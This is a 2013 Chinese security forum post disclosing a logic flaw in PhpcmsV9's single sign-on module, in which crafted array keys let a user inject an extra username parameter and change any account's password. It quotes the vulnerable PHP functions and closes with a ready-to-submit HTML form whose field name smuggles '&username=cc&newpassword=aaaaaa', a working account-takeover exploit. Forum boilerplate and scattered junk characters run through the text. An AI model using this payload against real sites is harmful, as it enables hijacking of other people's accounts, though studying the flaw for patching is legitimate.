找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1959|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提到的通行证的代码:9 R, H! k/ c" l1 J5 p6 S! {
% d5 @3 W6 b9 F- Z' e
* ^  G. y3 i1 r; A- I+ X9 }
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
$ @9 F  {9 |  w5 ]# a$ c) t, s9 f0 R) x& T. t& N
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。" e3 \& |  s4 W, T# b: L, w
' ^/ Y5 A- k/ l; e1 C, b- ~9 s
我把它留给了你们。* l) o% y$ O, D8 h
不知道你们发现了它没有。
& k* u7 A6 b# q+ w9 q! A3 k) {% A7 Q1 Y& D8 H* a9 O
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。9 v, g' Y/ e% ?. Y1 v; o4 y0 s

/ ~& v5 u) @: Q5 w. z: x: h所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。5 Y% ]0 s% a9 e: M5 c

/ h! t8 k7 O- O) J* k8 E也就是
+ V4 H& @% m" z( n- c% n( X: H
1 H. X% T7 Z# r6 F* V# Husername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
4 [. ~  D) B8 [3 E7 H5 j) w' {  ]5 U0 h" S* ]3 N8 _' P
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。7 j8 n3 _) d3 ~7 B3 u0 N
) Q8 ~3 b( N- w5 Q; c( ^
  D+ J, b' R+ d9 S1 w
其实我们有这样的机会,看看代码,如下:
6 |1 W' i% \6 O1 i; E: F5 g" J+ ]) }. N" X& [* I) C' K5 ^0 e8 i
, t  p& L; N6 E" A: q
public function auth_data($data) {# ~1 q0 [) @, L1 J( D" m
                $s = $sep = '';
6 s" p" L) f# H                foreach($data as $k => $v) {- @3 |: J7 q0 f
                        if(is_array($v)) {4 I/ N+ k4 A" N8 `; Y
                                $s2 = $sep2 = '';  m0 U" `* W9 m4 @" D' }$ c: J
                                foreach($v as $k2 => $v2) {, ]8 X8 Y3 r: c& y
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
6 |. I- u3 }( @+ I4 o: y, R                                        $sep2 = '&';
( j+ }# n/ e; ^4 a1 l                                }
5 f$ S: I: y+ @" q( H- [: W                                $s .= $sep.$s2;
8 O% g% z% n: [( S2 i                        } else {
' \; A+ ?  n- I- s                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
. g) }1 w: M" M8 U3 B9 K5 e! u9 y                        }
: z& D4 L$ T" S. Y' @                        $sep = '&';
5 ^( d4 N1 [: Z, n& c* d& _                }
1 S. I# z! U5 \' o  N) ]) r
: w* }- P5 [) @% T) [                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
+ y' @. W/ ~- a6 P# b' h) m+ g# i                return $auth_s;; R/ I4 V% i' U7 N) k6 S* G
        }2 g6 D3 C: @# ~$ r3 X# B* z. q

7 i$ L& n1 ]1 Y  ~/ L2 @4 G8 z' r可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。9 S& p( @0 u, B  V! K4 u

4 p' s$ @5 V1 r7 c举个例子
  d  w) |! D  ^9 W3 ^! E7 s2 s
- A+ y, X) f- R3 a& z" ]0 i$a[aaa=a&bbb] = 'a';/ ~& N, s6 X' q  y: ^- ]$ q
0 v; G& u; x3 Y3 q8 Y9 |
会变成aaa=a&bbb=a
( b  B0 T/ P) |( w0 W3 y  D* \5 n8 ?5 |1 v( R: \% |, c" X5 n
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。: [, w' x3 t2 F# ]+ q; }
+ C$ I2 q9 C1 A) g# B
这个时候,我们可以再去看一个函数。4 ^- P) j7 S' j) ]
1 d1 m  V5 s+ J! R& `2 l7 [
就在这个文件内:
* H# ^5 ?9 f( ?3 s9 }* n6 ~# {! p  X8 c6 @$ F' r$ J8 X5 @* t
. R/ n* b9 n! W* t6 S$ d4 m/ R1 {
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {* d5 V/ V& ~% g3 Q
                if($email && !$this->_is_email($email)) {8 J: E7 N9 M% l3 C+ K7 I
                        return -4;
: o  e9 L& e. ~+ R                }8 H- K% |, O0 ^0 ~8 V
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
1 x2 H/ b' d5 R- f$ Q        }
+ }/ ?1 V3 k8 O, t* T  A8 B1 Q, g1 y
这是向通行证发了这样一个请求。( p0 @" z& O. m/ d

$ C, D/ V1 j) w1 @/ w! @  O/ i我们再跟到通信证代码里去看看,就会有所发现。
8 N# v. w, D5 Y7 f$ y9 d; ]  J- H" A7 z* v/ m8 @; ~* ^- E' M

/ J. v1 K& S, mpublic function edit() {& X8 p* K( D/ P; X# \- f1 J
//能省就省,太长了不是吗?4 i8 Y# ~- ~, i8 {  Z
* K2 Q+ l, H4 j
if($this->username) {
; _7 l* m0 P, P$ t! Y1 A//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。5 J7 L$ j) b) A
                                $res = $this->db->update($data, array('username'=>$this->username));
. O/ D" @! L  m6 I/ ?                        } else {
! v( P# n# ?& @7 o                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);1 S7 l1 k- V) H1 @8 W
                                $res = $this->db->update($data, array('uid'=>$this->uid));
) g7 v2 h# c5 N' ]: ~                        }
  A" v: L$ C0 N" Z! X5 U" U
8 Y1 G- y0 p# N% ~6 w好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
8 Q7 h! I. o: D" k9 s
8 `2 o$ ]' E* F! H1 w6 {* spublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
- U( P, P; I& l" ~% B7 L7 V0 A- x. t5 U6 d2 h6 g
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。8 h* p% f1 Y/ E: I8 t7 h" L/ j

4 p% H9 d: P4 m$ s$ I6 N/ K我当然找到了:
$ V6 U6 a- o# hphpcms9/phpcms/modules/member/index.php
. l' U1 Y$ ]* ]9 S, `; {
) W8 ~6 w0 T- D) [$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
# _# C+ W: Q# g8 N' X9 m
; w9 z0 o! `) `2 o% A$ ~$ M& }8 m然后就没有然后了。& o/ E7 S6 N# }/ G
, \0 O, |# a- C. I2 {
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
) c  L& U5 p; m. J. X7 d                                <table width="100%" cellspacing="0" class="table_form">2 z5 M& M$ A7 u. i# K) ^+ g
                                        <tr>, w7 t+ ^- L; l1 U
                                                <th width="80">邮箱:</th>        
4 M: m& E7 s7 N" \; s$ X7 n                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
2 V& ^8 ^: ]3 a) r# L                                        </tr>
2 b) F2 W# [1 B# }" v& q0 f4 y                                        <tr>
- ^  e1 Z" f  e# [) }7 O                                                <th width="80">原密码:</th>        , G# @1 e4 [$ [8 T; a
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>& ^$ q1 f! @2 z% T% t! B; _
                                        </tr>: s9 \, U4 O* n1 o) _8 |( U8 F
                                        <tr>
3 S% f/ X: i  d7 c; F$ {( Y                                                <th>新密码:</th>  h* K) z, }8 n8 }( o, Y0 {
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>) L. E  @! g9 X+ w1 y3 C
                                        </tr>
2 d, B# S* \! O  d                                        <th></th>
; }9 K. Q1 n' @2 z% R% {" B" U8 U                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
0 q9 J8 ]) _& `- F% R                                        </tr>
4 q: P' a/ T! b0 L, i! |5 T                                </table>$ B' J5 F/ d( ]' r8 [1 l1 \+ H

0 F  F1 Y+ b/ u* K4 \                               
" h- @9 }" a/ F4 {; S                        </form>
+ a; ^/ e0 S  T# Y% k7 n" A. W! I) H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表